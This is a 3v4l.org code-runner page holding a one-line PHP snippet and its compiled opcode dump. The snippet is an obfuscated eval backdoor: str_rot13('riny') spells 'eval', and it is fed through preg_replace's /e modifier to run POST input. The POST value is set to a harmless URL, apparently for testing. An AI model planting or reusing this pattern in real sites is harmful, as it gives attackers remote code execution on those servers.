3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_POST['dak'] = "http://google.com"; if(isset($_POST['dak'])){ var_dump(($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add')); echo '@' . str_rot13('riny') . '($www)'; }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 6, Position 2 = 32
Branch analysis from position: 6
2 jumps found. (Code = 46) Position 1 = 11, Position 2 = 24
Branch analysis from position: 11
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 24
Branch analysis from position: 32
filename:       /in/KaRqM
function name:  (null)
number of ops:  33
compiled vars:  !0 = $www
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   FETCH_W                      global              $1      '_POST'
          1        ASSIGN_DIM                                               $1, 'dak'
          2        OP_DATA                                                  'http%3A%2F%2Fgoogle.com'
    3     3        FETCH_IS                                         ~3      '_POST'
          4        ISSET_ISEMPTY_DIM_OBJ                         0          ~3, 'dak'
          5      > JMPZ                                                     ~4, ->32
    4     6    >   INIT_FCALL                                               'var_dump'
          7        FETCH_R                      global              ~5      '_POST'
          8        FETCH_DIM_R                                      ~6      ~5, 'dak'
          9        ASSIGN                                           ~7      !0, ~6
         10      > JMPZ_EX                                          ~7      ~7, ->24
         11    >   BEGIN_SILENCE                                    ~8      
         12        INIT_FCALL                                               'preg_replace'
         13        SEND_VAL                                                 '%2Fad%2Fe'
         14        INIT_FCALL                                               'str_rot13'
         15        SEND_VAL                                                 'riny'
         16        DO_ICALL                                         $9      
         17        CONCAT                                           ~10     '%40', $9
         18        CONCAT                                           ~11     ~10, '%28%24www%29'
         19        SEND_VAL                                                 ~11
         20        SEND_VAL                                                 'add'
         21        DO_ICALL                                         $12     
         22        END_SILENCE                                              ~8
         23        BOOL                                             ~7      $12
         24    >   SEND_VAL                                                 ~7
         25        DO_ICALL                                                 
    5    26        INIT_FCALL                                               'str_rot13'
         27        SEND_VAL                                                 'riny'
         28        DO_ICALL                                         $14     
         29        CONCAT                                           ~15     '%40', $14
         30        CONCAT                                           ~16     ~15, '%28%24www%29'
         31        ECHO                                                     ~16
    6    32    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
165.18 ms | 1396 KiB | 19 Q